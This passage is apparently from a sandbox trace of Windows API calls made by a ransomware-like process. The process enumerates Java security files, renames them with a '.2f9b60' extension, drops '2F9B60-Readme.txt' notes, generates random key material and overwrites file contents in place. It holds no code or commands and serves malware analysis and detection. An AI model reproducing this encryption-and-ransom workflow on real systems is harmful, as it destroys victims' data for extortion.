RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500bc0) returned 1 [0164.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500bf0) returned 1 [0164.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x42c22090 [0164.940] wcscat (in: _Dest=0x42c22090, _Source="74d724a8a" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\74d724a8a") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\74d724a8a" [0164.940] wcscat (in: _Dest=0x42c22090, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\74d724a8a.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\74d724a8a.2f9b60" [0164.941] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\74d724a8a.2f9b60", NtPathName=0x375afb30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\74d724a8a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x2050cea0 [0165.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050cea0) returned 1 [0165.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c347f0) returned 1 [0165.037] NtQueryInformationFile (in: FileHandle=0x374, IoStatusBlock=0x375afb98, FileInformation=0x375afba8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x375afb98, FileInformation=0x375afba8) returned 0x0 [0165.037] NtSetInformationFile (FileHandle=0x374, IoStatusBlock=0x375afb98, FileInformation=0x375afba8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0165.074] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c22090) returned 1 [0165.074] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86c10) returned 1 [0165.074] FlushFileBuffers (hFile=0x374) returned 1 [0166.265] CloseHandle (hObject=0x374) returned 1 [0184.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x42c230e0 [0184.001] wcscpy (in: _Dest=0x42c230e0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\" [0184.001] wcscat (in: _Dest=0x42c230e0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\2F9B60-Readme.txt" [0184.001] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\2f9b60-readme.txt")) returned 0xffffffff [0184.001] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ae4 [0192.682] WriteFile (in: hFile=0x2ae4, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x375afa50, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x375afa50*=0xba9, lpOverlapped=0x0) returned 1 [0201.231] CloseHandle (hObject=0x2ae4) returned 1 [0206.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c230e0) returned 1 [0206.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061d30) returned 1 [0206.157] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x2027d6a0 | out: lpFindFileData=0x2027d6a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1429a, dwReserved0=0x0, dwReserved1=0x0, cFileName="cacerts", cAlternateFileName="")) returned 1 [0206.157] wcscmp (_String1="cacerts", _String2=".") returned 1 [0206.157] wcscmp (_String1="cacerts", _String2="..") returned 1 [0206.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x42061d30 [0206.158] wcscpy (in: _Dest=0x42061d30, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\security" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security" [0206.158] wcscat (in: _Dest=0x42061d30, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\" [0206.158] wcscat (in: _Dest=0x42061d30, _Source="cacerts" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\cacerts") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\cacerts" [0206.211] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42061d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe30 [0206.371] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x2027d6a0 | out: lpFindFileData=0x2027d6a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.policy", cAlternateFileName="JAVA~1.POL")) returned 1 [0206.371] wcscmp (_String1="java.policy", _String2=".") returned 1 [0206.371] wcscmp (_String1="java.policy", _String2="..") returned 1 [0206.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1ce5b2b0 [0206.372] wcscpy (in: _Dest=0x1ce5b2b0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\security" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security" [0206.372] wcscat (in: _Dest=0x1ce5b2b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\" [0206.372] wcscat (in: _Dest=0x1ce5b2b0, _Source="java.policy" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\java.policy") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\java.policy" [0206.372] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce5b2b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xff4 [0207.835] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x2027d6a0 | out: lpFindFileData=0x2027d6a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x45a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.security", cAlternateFileName="JAVA~1.SEC")) returned 1 [0207.835] wcscmp (_String1="java.security", _String2=".") returned 1 [0207.835] wcscmp (_String1="java.security", _String2="..") returned 1 [0207.835] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1ce59bb0 [0207.837] wcscpy (in: _Dest=0x1ce59bb0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\security" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security" [0207.837] wcscat (in: _Dest=0x1ce59bb0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\" [0207.837] wcscat (in: _Dest=0x1ce59bb0, _Source="java.security" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\java.security") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\java.security" [0207.837] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce59bb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1be4 [0207.888] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x2027d6a0 | out: lpFindFileData=0x2027d6a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx.policy", cAlternateFileName="JAVAFX~1.POL")) returned 1 [0207.888] wcscmp (_String1="javafx.policy", _String2=".") returned 1 [0207.888] wcscmp (_String1="javafx.policy", _String2="..") returned 1 [0207.888] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1cebaa60 [0207.888] wcscpy (in: _Dest=0x1cebaa60, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\security" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security" [0207.888] wcscat (in: _Dest=0x1cebaa60, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\" [0207.888] wcscat (in: _Dest=0x1cebaa60, _Source="javafx.policy" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\javafx.policy") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\javafx.policy" [0207.888] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cebaa60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x126c [0207.955] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x2027d6a0 | out: lpFindFileData=0x2027d6a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x62, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.policy", cAlternateFileName="JAVAWS~1.POL")) returned 1 [0207.956] wcscmp (_String1="javaws.policy", _String2=".") returned 1 [0207.956] wcscmp (_String1="javaws.policy", _String2="..") returned 1 [0207.956] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b868740 [0207.956] wcscpy (in: _Dest=0x1b868740, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\security" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security" [0207.956] wcscat (in: _Dest=0x1b868740, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\" [0207.956] wcscat (in: _Dest=0x1b868740, _Source="javaws.policy" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\javaws.policy") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\javaws.policy" [0207.956] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b868740, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cb8 [0207.987] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x2027d6a0 | out: lpFindFileData=0x2027d6a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xb9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="local_policy.jar", cAlternateFileName="LOCAL_~1.JAR")) returned 1 [0207.987] wcscmp (_String1="local_policy.jar", _String2=".") returned 1 [0207.987] wcscmp (_String1="local_policy.jar", _String2="..") returned 1 [0207.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x202afe80 [0207.988] wcscpy (in: _Dest=0x202afe80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\security" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security" [0207.988] wcscat (in: _Dest=0x202afe80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\" [0207.988] wcscat (in: _Dest=0x202afe80, _Source="local_policy.jar" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\local_policy.jar") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\local_policy.jar" [0207.988] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202afe80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c84 [0208.049] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x2027d6a0 | out: lpFindFileData=0x2027d6a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="trusted.libraries", cAlternateFileName="TRUSTE~1.LIB")) returned 1 [0208.049] wcscmp (_String1="trusted.libraries", _String2=".") returned 1 [0208.049] wcscmp (_String1="trusted.libraries", _String2="..") returned 1 [0208.049] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x431a1260 [0208.049] wcscpy (in: _Dest=0x431a1260, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\security" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security" [0208.050] wcscat (in: _Dest=0x431a1260, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\" [0208.050] wcscat (in: _Dest=0x431a1260, _Source="trusted.libraries" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\trusted.libraries") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\trusted.libraries" [0208.050] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431a1260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xea0 [0208.055] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x2027d6a0 | out: lpFindFileData=0x2027d6a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x9b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="US_export_policy.jar", cAlternateFileName="US_EXP~1.JAR")) returned 1 [0208.055] wcscmp (_String1="US_export_policy.jar", _String2=".") returned 1 [0208.055] wcscmp (_String1="US_export_policy.jar", _String2="..") returned 1 [0208.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x431a12f0 [0208.056] wcscpy (in: _Dest=0x431a12f0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\security" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security" [0208.056] wcscat (in: _Dest=0x431a12f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\" [0208.056] wcscat (in: _Dest=0x431a12f0, _Source="US_export_policy.jar" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\US_export_policy.jar") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\US_export_policy.jar" [0208.056] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431a12f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ae4 [0208.057] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x2027d6a0 | out: lpFindFileData=0x2027d6a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x9b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="US_export_policy.jar", cAlternateFileName="US_EXP~1.JAR")) returned 0 [0208.058] FindClose (in: hFindFile=0x1cd9d3d0 | out: hFindFile=0x1cd9d3d0) returned 1 [0208.059] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027d6a0) returned 1 [0208.059] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ef70) returned 1 [0208.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863960) returned 1 Thread: id = 2099 os_tid = 0x13f4 [0138.662] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\sound.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\sound.properties")) returned 0x20 [0140.323] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\sound.properties", dwFileAttributes=0x20) returned 1 [0140.824] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\sound.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\sound.properties"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1fc4 [0142.023] GetFileSizeEx (in: hFile=0x1fc4, lpFileSize=0x3790f940 | out: lpFileSize=0x3790f940*=1210) returned 1 [0142.024] SetFilePointerEx (in: hFile=0x1fc4, liDistanceToMove=0x4b6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.024] ReadFile (in: hFile=0x1fc4, lpBuffer=0x3790f8c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3790f908, lpOverlapped=0x0 | out: lpBuffer=0x3790f8c0*, lpNumberOfBytesRead=0x3790f908*=0x4, lpOverlapped=0x0) returned 1 [0142.066] SetFilePointerEx (in: hFile=0x1fc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.066] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe5f0 [0142.067] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe650 [0142.067] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.067] NtQuerySystemTime (in: CurrentTime=0x3790f800 | out: CurrentTime=0x3790f800*=132462177473026000) returned 0x0 [0142.067] RtlRandomEx (in: Seed=0x3790f7f0 | out: Seed=0x3790f7f0) returned 0x3722fc5d [0142.067] RtlRandomEx (in: Seed=0x3790f7f0 | out: Seed=0x3790f7f0) returned 0x5310dce5 [0142.067] RtlRandomEx (in: Seed=0x3790f7f0 | out: Seed=0x3790f7f0) returned 0x215796a2 [0142.067] RtlRandomEx (in: Seed=0x3790f7f0 | out: Seed=0x3790f7f0) returned 0x1a2d66dd [0142.067] RtlRandomEx (in: Seed=0x3790f7f0 | out: Seed=0x3790f7f0) returned 0x3b86754b [0142.067] RtlRandomEx (in: Seed=0x3790f7f0 | out: Seed=0x3790f7f0) returned 0x46135f53 [0142.067] RtlRandomEx (in: Seed=0x3790f7f0 | out: Seed=0x3790f7f0) returned 0x562c777e [0142.067] RtlRandomEx (in: Seed=0x3790f7f0 | out: Seed=0x3790f7f0) returned 0x3b3f2756 [0142.067] RtlRandomEx (in: Seed=0x3790f7f0 | out: Seed=0x3790f7f0) returned 0x4d176c8b [0142.067] RtlRandomEx (in: Seed=0x3790f7f0 | out: Seed=0x3790f7f0) returned 0x12a34be4 [0142.067] RtlRandomEx (in: Seed=0x3790f7f0 | out: Seed=0x3790f7f0) returned 0x12e1191 [0142.067] RtlRandomEx (in: Seed=0x3790f7f0 | out: Seed=0x3790f7f0) returned 0x2e6afeae [0142.067] RtlRandomEx (in: Seed=0x3790f7f0 | out: Seed=0x3790f7f0) returned 0x383be9d6 [0142.067] RtlRandomEx (in: Seed=0x3790f7f0 | out: Seed=0x3790f7f0) returned 0x7e299ed1 [0142.067] RtlRandomEx (in: Seed=0x3790f7f0 | out: Seed=0x3790f7f0) returned 0x5b49c777 [0142.067] RtlRandomEx (in: Seed=0x3790f7f0 | out: Seed=0x3790f7f0) returned 0x83cd5cd [0142.067] RtlRandomEx (in: Seed=0x3790f7f0 | out: Seed=0x3790f7f0) returned 0x772b823f [0142.067] RtlRandomEx (in: Seed=0x3790f7f0 | out: Seed=0x3790f7f0) returned 0x5cbe57dc [0142.067] RtlRandomEx (in: Seed=0x3790f7f0 | out: Seed=0x3790f7f0) returned 0x7f2a6c8d [0142.067] RtlRandomEx (in: Seed=0x3790f7f0 | out: Seed=0x3790f7f0) returned 0x59c3738c [0142.067] RtlRandomEx (in: Seed=0x3790f7f0 | out: Seed=0x3790f7f0) returned 0x43d1d322 [0142.067] RtlRandomEx (in: Seed=0x3790f7f0 | out: Seed=0x3790f7f0) returned 0x3f6a58a9 [0142.068] RtlRandomEx (in: Seed=0x3790f7f0 | out: Seed=0x3790f7f0) returned 0x455371e2 [0142.068] RtlRandomEx (in: Seed=0x3790f7f0 | out: Seed=0x3790f7f0) returned 0xbc98eb0 [0142.068] RtlRandomEx (in: Seed=0x3790f7f0 | out: Seed=0x3790f7f0) returned 0x19dd9c81 [0142.068] RtlRandomEx (in: Seed=0x3790f7f0 | out: Seed=0x3790f7f0) returned 0x1f45cf4a [0142.068] RtlRandomEx (in: Seed=0x3790f7f0 | out: Seed=0x3790f7f0) returned 0x51c725ce [0142.068] RtlRandomEx (in: Seed=0x3790f7f0 | out: Seed=0x3790f7f0) returned 0x1b5e420f [0142.068] RtlRandomEx (in: Seed=0x3790f7f0 | out: Seed=0x3790f7f0) returned 0x618e7e84 [0142.068] RtlRandomEx (in: Seed=0x3790f7f0 | out: Seed=0x3790f7f0) returned 0x56bc1bef [0142.068] RtlRandomEx (in: Seed=0x3790f7f0 | out: Seed=0x3790f7f0) returned 0x3b2e7036 [0142.068] RtlRandomEx (in: Seed=0x3790f7f0 | out: Seed=0x3790f7f0) returned 0x79a0ff23 [0142.075] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe710 [0142.076] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061930 [0142.076] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe740 [0142.076] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061930) returned 1 [0142.077] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.077] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe5f0) returned 1 [0142.077] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059a10 [0142.077] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061930 [0142.077] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe5f0 [0142.077] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe5f0) returned 1 [0142.077] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4229f200 [0142.078] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4223c5b0 [0142.078] ReadFile (in: hFile=0x1fc4, lpBuffer=0x4229f200, nNumberOfBytesToRead=0x4ba, lpNumberOfBytesRead=0x3790f7f0, lpOverlapped=0x0 | out: lpBuffer=0x4229f200*, lpNumberOfBytesRead=0x3790f7f0*=0x4ba, lpOverlapped=0x0) returned 1 [0142.078] SetFilePointerEx (in: hFile=0x1fc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.078] WriteFile (in: hFile=0x1fc4, lpBuffer=0x4223c5b0*, nNumberOfBytesToWrite=0x4ba, lpNumberOfBytesWritten=0x3790f7f4, lpOverlapped=0x0 | out: lpBuffer=0x4223c5b0*, lpNumberOfBytesWritten=0x3790f7f4*=0x4ba, lpOverlapped=0x0) returned 1 [0143.314] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe4d0 [0143.314] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd750 [0143.314] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd750) returned 1 [0143.314] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4223c5b0) returned 1 [0143.314] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4229f200) returned 1 [0143.314] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061930) returned 1 [0143.315] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059a10) returned 1 [0143.315] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1b7aa220 [0143.315] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059a10 [0143.315] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061930 [0143.315] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd750 [0143.315] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd750) returned 1 [0143.315] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1b7aa1e0 [0143.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd750 [0143.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdcf0 [0143.316] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdcf0) returned 1 [0143.316] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061930) returned 1 [0143.316] RtlFreeHeap (HeapHandle=0xa0000, 